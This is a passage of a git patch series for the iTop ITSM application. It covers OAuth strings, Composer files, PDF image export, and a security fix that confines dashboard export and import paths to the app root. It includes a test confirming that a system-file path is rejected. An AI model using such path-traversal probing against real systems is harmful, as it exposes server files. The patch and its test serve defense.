modifications', 'itop-oauth-client:Message:TokenCreated' => 'Le jeton d\'accès à été créé', 'itop-oauth-client:Message:TokenRecreated' => 'Le jeton d\'accès à été renouvelé', 'itop-oauth-client:Message:TokenError' => 'Le jeton d\'accès n\'a pas été généré à cause d`une erreur serveur', From d292a6b0c340330c11c3de163e8004ed16f0c451 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 22 Nov 2022 17:24:41 +0100 Subject: [PATCH 055/230] =?UTF-8?q?N=C2=B05333=20-=20OAuth=20and=20iTop=20?= =?UTF-8?q?url=20change?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2.x/itop-oauth-client/en.dict.itop-oauth-client.php | 6 +++++- .../2.x/itop-oauth-client/fr.dict.itop-oauth-client.php | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php index 630eaea63..b64e1c838 100644 --- a/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php @@ -59,7 +59,11 @@ Dict::Add('EN US', 'English', 'English', [ 'Class:OAuthClient/Attribute:token_expiration' => 'Access token expiration', 'Class:OAuthClient/Attribute:token_expiration+' => '', 'Class:OAuthClient/Attribute:redirect_url' => 'Redirect url', - 'Class:OAuthClient/Attribute:redirect_url+' => 'This url must be copied in the OAuth2 configuration of the provider', + 'Class:OAuthClient/Attribute:redirect_url+' => << 'Mailbox list', 'Class:OAuthClient/Attribute:mailbox_list+' => '', ]); diff --git a/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php index 9797153e8..b747f91e0 100644 --- a/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php @@ -59,7 +59,11 @@ Dict::Add('FR FR', 'French', 'Français', [ 'Class:OAuthClient/Attribute:token_expiration' => 'Date d\'expiration du jeton d\'accès', 'Class:OAuthClient/Attribute:token_expiration+' => '', 'Class:OAuthClient/Attribute:redirect_url' => 'URL de redirection', - 'Class:OAuthClient/Attribute:redirect_url+' => 'Cet URL doit être recopié dans la configuration OAuth2 de votre fournisseur', + 'Class:OAuthClient/Attribute:redirect_url+' => << 'Mailbox list', 'Class:OAuthClient/Attribute:mailbox_list+' => '', ]); From 6d0c46595df039e4cd97733fa039544e6eb76b78 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 24 Nov 2022 14:27:42 +0100 Subject: [PATCH 056/230] =?UTF-8?q?N=C2=B05611=20-=20Fix=20missing=20compo?= =?UTF-8?q?ser=20files=20in=20itop-oauth-client?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../vendor/composer/autoload_classmap.php | 1 + .../vendor/composer/autoload_static.php | 1 + test/application/TestAutoload.php | 27 +++++++++++++++++++ 3 files changed, 29 insertions(+) create mode 100644 test/application/TestAutoload.php diff --git a/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_classmap.php b/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_classmap.php index 25e360e9d..830aee37d 100644 --- a/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_classmap.php +++ b/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_classmap.php @@ -8,6 +8,7 @@ $baseDir = dirname($vendorDir); return array( 'Combodo\\iTop\\OAuthClient\\Controller\\AjaxOauthClientController' => $baseDir . '/src/Controller/AjaxOauthClientController.php', 'Combodo\\iTop\\OAuthClient\\Controller\\OAuthClientController' => $baseDir . '/src/Controller/OAuthClientController.php', + 'Combodo\\iTop\\OAuthClient\\Service\\ApplicationUIExtension' => $baseDir . '/src/Service/ApplicationUIExtension.php', 'Combodo\\iTop\\OAuthClient\\Service\\PopupMenuExtension' => $baseDir . '/src/Service/PopupMenuExtension.php', 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', ); diff --git a/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_static.php b/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_static.php index 3f16c1e01..d88f44a19 100644 --- a/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_static.php +++ b/datamodels/2.x/itop-oauth-client/vendor/composer/autoload_static.php @@ -23,6 +23,7 @@ class ComposerStaticInitd52424b43ff18219f2ec935428aff074 public static $classMap = array ( 'Combodo\\iTop\\OAuthClient\\Controller\\AjaxOauthClientController' => __DIR__ . '/../..' . '/src/Controller/AjaxOauthClientController.php', 'Combodo\\iTop\\OAuthClient\\Controller\\OAuthClientController' => __DIR__ . '/../..' . '/src/Controller/OAuthClientController.php', + 'Combodo\\iTop\\OAuthClient\\Service\\ApplicationUIExtension' => __DIR__ . '/../..' . '/src/Service/ApplicationUIExtension.php', 'Combodo\\iTop\\OAuthClient\\Service\\PopupMenuExtension' => __DIR__ . '/../..' . '/src/Service/PopupMenuExtension.php', 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', ); diff --git a/test/application/TestAutoload.php b/test/application/TestAutoload.php new file mode 100644 index 000000000..60a57f45d --- /dev/null +++ b/test/application/TestAutoload.php @@ -0,0 +1,27 @@ +assertTrue(true); + return; + } + $this->assertTrue(false, 'You should run composer install on the faulty module'); + } +} From 22111bf66772f4d58dde348901a017792f7b9ed6 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 24 Nov 2022 14:32:51 +0100 Subject: [PATCH 057/230] =?UTF-8?q?N=C2=B05611=20-=20Fix=20missing=20compo?= =?UTF-8?q?ser=20files=20in=20itop-oauth-client?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2.x/itop-oauth-client/composer.lock | 20 ++ .../vendor/composer/InstalledVersions.php | 337 ++++++++++++++++++ .../vendor/composer/installed.json | 5 + .../vendor/composer/installed.php | 23 ++ 4 files changed, 385 insertions(+) create mode 100644 datamodels/2.x/itop-oauth-client/composer.lock create mode 100644 datamodels/2.x/itop-oauth-client/vendor/composer/InstalledVersions.php create mode 100644 datamodels/2.x/itop-oauth-client/vendor/composer/installed.json create mode 100644 datamodels/2.x/itop-oauth-client/vendor/composer/installed.php diff --git a/datamodels/2.x/itop-oauth-client/composer.lock b/datamodels/2.x/itop-oauth-client/composer.lock new file mode 100644 index 000000000..b1b3d9fd2 --- /dev/null +++ b/datamodels/2.x/itop-oauth-client/composer.lock @@ -0,0 +1,20 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "285a4d33f818950c151bb893193d2cce", + "packages": [], + "packages-dev": [], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "composer-runtime-api": "^2.0" + }, + "platform-dev": [], + "plugin-api-version": "2.1.0" +} diff --git a/datamodels/2.x/itop-oauth-client/vendor/composer/InstalledVersions.php b/datamodels/2.x/itop-oauth-client/vendor/composer/InstalledVersions.php new file mode 100644 index 000000000..7c5502ca4 --- /dev/null +++ b/datamodels/2.x/itop-oauth-client/vendor/composer/InstalledVersions.php @@ -0,0 +1,337 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer; + +use Composer\Autoload\ClassLoader; +use Composer\Semver\VersionParser; + +/** + * This class is copied in every Composer installed project and available to all + * + * See also https://getcomposer.org/doc/07-runtime.md#installed-versions + * + * To require its presence, you can require `composer-runtime-api ^2.0` + */ +class InstalledVersions +{ + private static $installed; + private static $canGetVendors; + private static $installedByVendor = array(); + + /** + * Returns a list of all package names which are present, either by being installed, replaced or provided + * + * @return string[] + * @psalm-return list + */ + public static function getInstalledPackages() + { + $packages = array(); + foreach (self::getInstalled() as $installed) { + $packages[] = array_keys($installed['versions']); + } + + if (1 === \count($packages)) { + return $packages[0]; + } + + return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); + } + + /** + * Returns a list of all package names with a specific type e.g. 'library' + * + * @param string $type + * @return string[] + * @psalm-return list + */ + public static function getInstalledPackagesByType($type) + { + $packagesByType = array(); + + foreach (self::getInstalled() as $installed) { + foreach ($installed['versions'] as $name => $package) { + if (isset($package['type']) && $package['type'] === $type) { + $packagesByType[] = $name; + } + } + } + + return $packagesByType; + } + + /** + * Checks whether the given package is installed + * + * This also returns true if the package name is provided or replaced by another package + * + * @param string $packageName + * @param bool $includeDevRequirements + * @return bool + */ + public static function isInstalled($packageName, $includeDevRequirements = true) + { + foreach (self::getInstalled() as $installed) { + if (isset($installed['versions'][$packageName])) { + return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); + } + } + + return false; + } + + /** + * Checks whether the given package satisfies a version constraint + * + * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: + * + * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') + * + * @param VersionParser $parser Install composer/semver to have access to this class and functionality + * @param string $packageName + * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package + * @return bool + */ + public static function satisfies(VersionParser $parser, $packageName, $constraint) + { + $constraint = $parser->parseConstraints($constraint); + $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); + + return $provided->matches($constraint); + } + + /** + * Returns a version constraint representing all the range(s) which are installed for a given package + * + * It is easier to use this via isInstalled() with the $constraint argument if you need to check + * whether a given version of a package is installed, and not just whether it exists + * + * @param string $packageName + * @return string Version constraint usable with composer/semver + */ + public static function getVersionRanges($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + $ranges = array(); + if (isset($installed['versions'][$packageName]['pretty_version'])) { + $ranges[] = $installed['versions'][$packageName]['pretty_version']; + } + if (array_key_exists('aliases', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); + } + if (array_key_exists('replaced', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); + } + if (array_key_exists('provided', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); + } + + return implode(' || ', $ranges); + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['version'])) { + return null; + } + + return $installed['versions'][$packageName]['version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getPrettyVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['pretty_version'])) { + return null; + } + + return $installed['versions'][$packageName]['pretty_version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference + */ + public static function getReference($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['reference'])) { + return null; + } + + return $installed['versions'][$packageName]['reference']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. + */ + public static function getInstallPath($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @return array + * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} + */ + public static function getRootPackage() + { + $installed = self::getInstalled(); + + return $installed[0]['root']; + } + + /** + * Returns the raw installed.php data for custom implementations + * + * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. + * @return array[] + * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} + */ + public static function getRawData() + { + @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + self::$installed = include __DIR__ . '/installed.php'; + } else { + self::$installed = array(); + } + } + + return self::$installed; + } + + /** + * Returns the raw data of all installed.php which are currently loaded for custom implementations + * + * @return array[] + * @psalm-return list}> + */ + public static function getAllRawData() + { + return self::getInstalled(); + } + + /** + * Lets you reload the static array from another file + * + * This is only useful for complex integrations in which a project needs to use + * this class but then also needs to execute another project's autoloader in process, + * and wants to ensure both projects have access to their version of installed.php. + * + * A typical case would be PHPUnit, where it would need to make sure it reads all + * the data it needs from this class, then call reload() with + * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure + * the project in which it runs can then also use this class safely, without + * interference between PHPUnit's dependencies and the project's dependencies. + * + * @param array[] $data A vendor/composer/installed.php data set + * @return void + * + * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} $data + */ + public static function reload($data) + { + self::$installed = $data; + self::$installedByVendor = array(); + } + + /** + * @return array[] + * @psalm-return list}> + */ + private static function getInstalled() + { + if (null === self::$canGetVendors) { + self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); + } + + $installed = array(); + + if (self::$canGetVendors) { + foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { + if (isset(self::$installedByVendor[$vendorDir])) { + $installed[] = self::$installedByVendor[$vendorDir]; + } elseif (is_file($vendorDir.'/composer/installed.php')) { + $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; + if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { + self::$installed = $installed[count($installed) - 1]; + } + } + } + } + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + self::$installed = require __DIR__ . '/installed.php'; + } else { + self::$installed = array(); + } + } + $installed[] = self::$installed; + + return $installed; + } +} diff --git a/datamodels/2.x/itop-oauth-client/vendor/composer/installed.json b/datamodels/2.x/itop-oauth-client/vendor/composer/installed.json new file mode 100644 index 000000000..87fda747e --- /dev/null +++ b/datamodels/2.x/itop-oauth-client/vendor/composer/installed.json @@ -0,0 +1,5 @@ +{ + "packages": [], + "dev": true, + "dev-package-names": [] +} diff --git a/datamodels/2.x/itop-oauth-client/vendor/composer/installed.php b/datamodels/2.x/itop-oauth-client/vendor/composer/installed.php new file mode 100644 index 000000000..b23009e49 --- /dev/null +++ b/datamodels/2.x/itop-oauth-client/vendor/composer/installed.php @@ -0,0 +1,23 @@ + array( + 'pretty_version' => 'dev-develop', + 'version' => 'dev-develop', + 'type' => 'itop-extension', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'reference' => 'd292a6b0c340330c11c3de163e8004ed16f0c451', + 'name' => 'combodo/itop-oauth-client', + 'dev' => true, + ), + 'versions' => array( + 'combodo/itop-oauth-client' => array( + 'pretty_version' => 'dev-develop', + 'version' => 'dev-develop', + 'type' => 'itop-extension', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'reference' => 'd292a6b0c340330c11c3de163e8004ed16f0c451', + 'dev_requirement' => false, + ), + ), +); From 34f03715b671e45d97ead54fbc2e66ed5b2ebccc Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 24 Nov 2022 17:27:18 +0100 Subject: [PATCH 058/230] LogChannel : add missing `@since` --- core/log.class.inc.php | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index e566d0a1e..ea4637dc6 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -551,6 +551,9 @@ class LogChannels */ public const NOTIFICATIONS = 'notifications'; + /** + * @since 3.0.0 + */ public const CLI = 'CLI'; /** @@ -560,15 +563,18 @@ class LogChannels */ public const CMDB_SOURCE = 'cmdbsource'; - public const CONSOLE = 'console'; + /** + * @since 3.0.0 + */ + public const CONSOLE = 'console'; - public const CORE = 'core'; + public const CORE = 'core'; - public const DEADLOCK = 'DeadLock'; + public const DEADLOCK = 'DeadLock'; public const INLINE_IMAGE = 'InlineImage'; - public const PORTAL = 'portal'; + public const PORTAL = 'portal'; } From b174aa9aebb7f63814911e95ca14dc5e317a0918 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 25 Nov 2022 17:37:01 +0100 Subject: [PATCH 059/230] Merge remote-tracking branch 'origin/support/2.7' into support/3.0 # Conflicts: # datamodels/2.x/itop-oauth-client/vendor/composer/InstalledVersions.php # datamodels/2.x/itop-oauth-client/vendor/composer/installed.php --- test/application/TestAutoload.php | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 test/application/TestAutoload.php diff --git a/test/application/TestAutoload.php b/test/application/TestAutoload.php new file mode 100644 index 000000000..60a57f45d --- /dev/null +++ b/test/application/TestAutoload.php @@ -0,0 +1,27 @@ +assertTrue(true); + return; + } + $this->assertTrue(false, 'You should run composer install on the faulty module'); + } +} From 3e18ad590f59cb298019c775e8fabe936027ac77 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Sat, 1 Oct 2022 18:09:07 +0200 Subject: [PATCH 060/230] Fix image attributes not being visible in PDF exports --- core/pdfbulkexport.class.inc.php | 107 +++++++++++++++++++++++-------- 1 file changed, 82 insertions(+), 25 deletions(-) diff --git a/core/pdfbulkexport.class.inc.php b/core/pdfbulkexport.class.inc.php index 2812fb9ca..629c1fd59 100644 --- a/core/pdfbulkexport.class.inc.php +++ b/core/pdfbulkexport.class.inc.php @@ -25,6 +25,19 @@ class PDFBulkExport extends HTMLBulkExport { + /** + * @var string For sample purposes + * @internal + * @since 2.7.8 + */ + const ENUM_OUTPUT_TYPE_SAMPLE = 'sample'; + /** + * @var string For the real export + * @internal + * @since 2.7.8 + */ + const ENUM_OUTPUT_TYPE_REAL = 'real'; + public function DisplayUsage(Page $oP) { $oP->p(" * pdf format options:"); @@ -190,6 +203,25 @@ EOF return $sPDF; } + /** + * @inheritDoc + * @since 2.7.8 + */ + protected function GetSampleData($oObj, $sAttCode) + { + if ($sAttCode !== 'id') + { + $oAttDef = MetaModel::GetAttributeDef(get_class($oObj), $sAttCode); + + // As sample data will be displayed in the web browser, AttributeImage needs to be rendered with a regular HTML format, meaning its "src" looking like "data:image/png;base64,iVBORw0KGgoAAAANSUh..." + // Whereas for the PDF generation it needs to be rendered with a TCPPDF-compatible format, meaning its "src" looking like "@iVBORw0KGgoAAAANSUh..." + if ($oAttDef instanceof AttributeImage) { + return $this->GetAttributeImageValue($oAttDef, $oObj->Get($sAttCode), static::ENUM_OUTPUT_TYPE_SAMPLE); + } + } + return parent::GetSampleData($oObj, $sAttCode); + } + protected function GetValue($oObj, $sAttCode) { switch($sAttCode) @@ -205,31 +237,7 @@ EOF $oAttDef = MetaModel::GetAttributeDef(get_class($oObj), $sAttCode); if ($oAttDef instanceof AttributeImage) { - // To limit the image size in the PDF output, we have to enforce the size as height/width because max-width/max-height have no effect - // - $iDefaultMaxWidthPx = 48; - $iDefaultMaxHeightPx = 48; - if ($value->IsEmpty()) - { - $iNewWidth = $iDefaultMaxWidthPx; - $iNewHeight = $iDefaultMaxHeightPx; - - $sUrl = $oAttDef->Get('default_image'); - } - else - { - list($iWidth, $iHeight) = utils::GetImageSize($value->GetData()); - $iMaxWidthPx = min($iDefaultMaxWidthPx, $oAttDef->Get('display_max_width')); - $iMaxHeightPx = min($iDefaultMaxHeightPx, $oAttDef->Get('display_max_height')); - - $fScale = min($iMaxWidthPx / $iWidth, $iMaxHeightPx / $iHeight); - $iNewWidth = $iWidth * $fScale; - $iNewHeight = $iHeight * $fScale; - - $sUrl = 'data:'.$value->GetMimeType().';base64,'.base64_encode($value->GetData()); - } - $sRet = ($sUrl !== null) ? '' : ''; - $sRet = '
'.$sRet.'
'; + $sRet = $this->GetAttributeImageValue($oAttDef, $value, static::ENUM_OUTPUT_TYPE_REAL); } else { @@ -258,4 +266,53 @@ EOF { return 'pdf'; } + + /** + * @param \AttributeImage $oAttDef Instance of image attribute + * @param \ormDocument $oValue Value of image attribute + * @param string $sOutputType {@see \PDFBulkExport::ENUM_OUTPUT_TYPE_SAMPLE}, {@see \PDFBulkExport::ENUM_OUTPUT_TYPE_REAL} + * + * @return string Rendered value of $oAttDef / $oValue according to the desired $sOutputType + * @since 2.7.8 + */ + protected function GetAttributeImageValue(AttributeImage $oAttDef, ormDocument $oValue, string $sOutputType) + { + // To limit the image size in the PDF output, we have to enforce the size as height/width because max-width/max-height have no effect + // + $iDefaultMaxWidthPx = 48; + $iDefaultMaxHeightPx = 48; + if ($oValue->IsEmpty()) { + $iNewWidth = $iDefaultMaxWidthPx; + $iNewHeight = $iDefaultMaxHeightPx; + + $sUrl = $oAttDef->Get('default_image'); + } else { + list($iWidth, $iHeight) = utils::GetImageSize($oValue->GetData()); + $iMaxWidthPx = min($iDefaultMaxWidthPx, $oAttDef->Get('display_max_width')); + $iMaxHeightPx = min($iDefaultMaxHeightPx, $oAttDef->Get('display_max_height')); + + $fScale = min($iMaxWidthPx / $iWidth, $iMaxHeightPx / $iHeight); + $iNewWidth = $iWidth * $fScale; + $iNewHeight = $iHeight * $fScale; + + $sValueAsBase64 = base64_encode($oValue->GetData()); + switch ($sOutputType) { + case static::ENUM_OUTPUT_TYPE_SAMPLE: + $sUrl = 'data:'.$oValue->GetMimeType().';base64,'.$sValueAsBase64; + break; + + case static::ENUM_OUTPUT_TYPE_REAL: + default: + // TCPDF requires base64-encoded images to be rendered without the usual "data:;base64" header but with an "@" + // @link https://tcpdf.org/examples/example_009/ + $sUrl = '@'.$sValueAsBase64; + break; + } + } + + $sRet = ($sUrl !== null) ? '' : ''; + $sRet = '
'.$sRet.'
'; + + return $sRet; + } } From d412a52fcc3dc0129485dfda50d510b51065c7a7 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 29 Nov 2022 18:05:13 +0100 Subject: [PATCH 061/230] =?UTF-8?q?N=C2=B04449=20Fix=20FPD=20in=20dashboar?= =?UTF-8?q?d=20export/import?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/dashboard.class.inc.php | 23 +++++++++++++++++++++++ application/utils.inc.php | 8 ++++---- pages/ajax.render.php | 22 ++++++++++++---------- 3 files changed, 39 insertions(+), 14 deletions(-) diff --git a/application/dashboard.class.inc.php b/application/dashboard.class.inc.php index 32c4b8dde..6747d7872 100644 --- a/application/dashboard.class.inc.php +++ b/application/dashboard.class.inc.php @@ -1478,6 +1478,29 @@ JS return $this->sDefinitionFile; } + /** + * @param string $sDashboardFileRelative can also be an absolute path (compatibility with old URL) + * + * @return string full path to the Dashboard file + * @throws \SecurityException if path isn't under approot + * @uses utils::RealPath() + * @since 2.7.8 3.0.3 3.1.0 N°4449 remove FPD + */ + public static function GetDashboardFileFromRelativePath($sDashboardFileRelative) + { + if (utils::RealPath($sDashboardFileRelative, APPROOT)) { + // compatibility with old URL containing absolute path ! + return $sDashboardFileRelative; + } + + $sDashboardFile = APPROOT.$sDashboardFileRelative; + if (false === utils::RealPath($sDashboardFile, APPROOT)) { + throw new SecurityException('Invalid dashboard file !'); + } + + return $sDashboardFile; + } + /** * @param string $sDefinitionFile */ diff --git a/application/utils.inc.php b/application/utils.inc.php index 9fdb7abe5..95b91f306 100644 --- a/application/utils.inc.php +++ b/application/utils.inc.php @@ -1329,19 +1329,19 @@ class utils $oDashboard = $param; $sDashboardId = $oDashboard->GetId(); $sDashboardFile = $oDashboard->GetDefinitionFile(); + $sDashboardFileRelative = utils::LocalPath($sDashboardFile); $sDlgTitle = addslashes(Dict::S('UI:ImportDashboardTitle')); $sDlgText = addslashes(Dict::S('UI:ImportDashboardText')); $sCloseBtn = addslashes(Dict::S('UI:Button:Cancel')); - $sDashboardFileJS = addslashes($sDashboardFile); - $sDashboardFileURL = urlencode($sDashboardFile); + $sDashboardFileJS = addslashes($sDashboardFileRelative); + $sDashboardFileURL = urlencode($sDashboardFileRelative); $sUploadDashboardTransactId = utils::GetNewTransactionId(); $aResult = array( new SeparatorPopupMenuItem(), new URLPopupMenuItem('UI:ExportDashboard', Dict::S('UI:ExportDashBoard'), utils::GetAbsoluteUrlAppRoot().'pages/ajax.render.php?operation=export_dashboard&id='.$sDashboardId.'&file='.$sDashboardFileURL), new JSPopupMenuItem('UI:ImportDashboard', Dict::S('UI:ImportDashBoard'), "UploadDashboard({dashboard_id: '$sDashboardId', file: '$sDashboardFileJS', title: '$sDlgTitle', text: '$sDlgText', close_btn: '$sCloseBtn', transaction: '$sUploadDashboardTransactId' })"), ); - if ($oDashboard->GetReloadURL()) - { + if ($oDashboard->GetReloadURL()) { $aResult[] = new SeparatorPopupMenuItem(); $aResult[] = new URLPopupMenuItem('UI:Menu:PrintableVersion', Dict::S('UI:Menu:PrintableVersion'), $oDashboard->GetReloadURL().'&printable=1', '_blank'); } diff --git a/pages/ajax.render.php b/pages/ajax.render.php index 17a666c0a..21e9520e0 100644 --- a/pages/ajax.render.php +++ b/pages/ajax.render.php @@ -1128,11 +1128,13 @@ try case 'export_dashboard': $sDashboardId = utils::ReadParam('id', '', false, 'raw_data'); - $sDashboardFile = utils::ReadParam('file', '', false, 'raw_data'); + $sDashboardFileRelative = utils::ReadParam('file', '', false, 'raw_data'); + + $sDashboardFile = RuntimeDashboard::GetDashboardFileFromRelativePath($sDashboardFileRelative); + $oKPI = new ExecutionKPI(); $oDashboard = RuntimeDashboard::GetDashboard($sDashboardFile, $sDashboardId); - if (!is_null($oDashboard)) - { + if (!is_null($oDashboard)) { $oPage->TrashUnexpectedOutput(); $oPage->SetContentType('text/xml'); $oPage->SetContentDisposition('attachment', 'dashboard_'.$oDashboard->GetTitle().'.xml'); @@ -1143,18 +1145,18 @@ try case 'import_dashboard': $sTransactionId = utils::ReadParam('transaction_id', '', false, 'transaction_id'); - if (!utils::IsTransactionValid($sTransactionId, true)) - { + if (!utils::IsTransactionValid($sTransactionId, true)) { throw new SecurityException('ajax.render.php import_dashboard : invalid transaction_id'); } $sDashboardId = utils::ReadParam('id', '', false, 'raw_data'); - $sDashboardFile = utils::ReadParam('file', '', false, 'raw_data'); + $sDashboardFileRelative = utils::ReadParam('file', '', false, 'raw_data'); + + $sDashboardFile = RuntimeDashboard::GetDashboardFileFromRelativePath($sDashboardFileRelative); + $oDashboard = RuntimeDashboard::GetDashboard($sDashboardFile, $sDashboardId); $aResult = array('error' => ''); - if (!is_null($oDashboard)) - { - try - { + if (!is_null($oDashboard)) { + try { $oDoc = utils::ReadPostedDocument('dashboard_upload_file'); $oDashboard->FromXml($oDoc->GetData()); $oDashboard->Save(); From 23e0ed5e56e8d51bacb51a1449accaa714dd6bb9 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 29 Nov 2022 14:47:27 +0100 Subject: [PATCH 062/230] =?UTF-8?q?N=C2=B04449=20Test=20for=20FPD=20detect?= =?UTF-8?q?ion=20in=20RuntimeDashboard?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/application/RuntimeDashboardTest.php | 46 +++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 test/application/RuntimeDashboardTest.php diff --git a/test/application/RuntimeDashboardTest.php b/test/application/RuntimeDashboardTest.php new file mode 100644 index 000000000..b8dc86b8d --- /dev/null +++ b/test/application/RuntimeDashboardTest.php @@ -0,0 +1,46 @@ +assertNotNull($oDashboard); + + $this->expectException(SecurityException::class); + $sDashboardFileSuspect = APPROOT.self::SYSTEM_FILE_PATH;; + RuntimeDashboard::GetDashboard($sDashboardFileSuspect, $sDashboardId); + } + + /** @noinspection PhpUnhandledExceptionInspection */ + public function testGetDefinitionFileRelative() + { + $sFullDashboardPath = RuntimeDashboard::GetDashboardFileFromRelativePath(self::DEFAULT_WELCOME_DASHBOARD_PATH); + $this->assertSame(APPROOT.self::DEFAULT_WELCOME_DASHBOARD_PATH, $sFullDashboardPath); + + $this->expectException(SecurityException::class); + RuntimeDashboard::GetDashboardFileFromRelativePath(self::SYSTEM_FILE_PATH); + } +} From ce5096a8968187c4591004bc7c602eca6a1488b0 Mon Sep 17 00:00:00 2001 From: xtophe38 <13520055+xtophe38@users.noreply.github.com> Date: Tue, 29 Nov 2022 19:00:17 +0100 Subject: [PATCH 063/230] 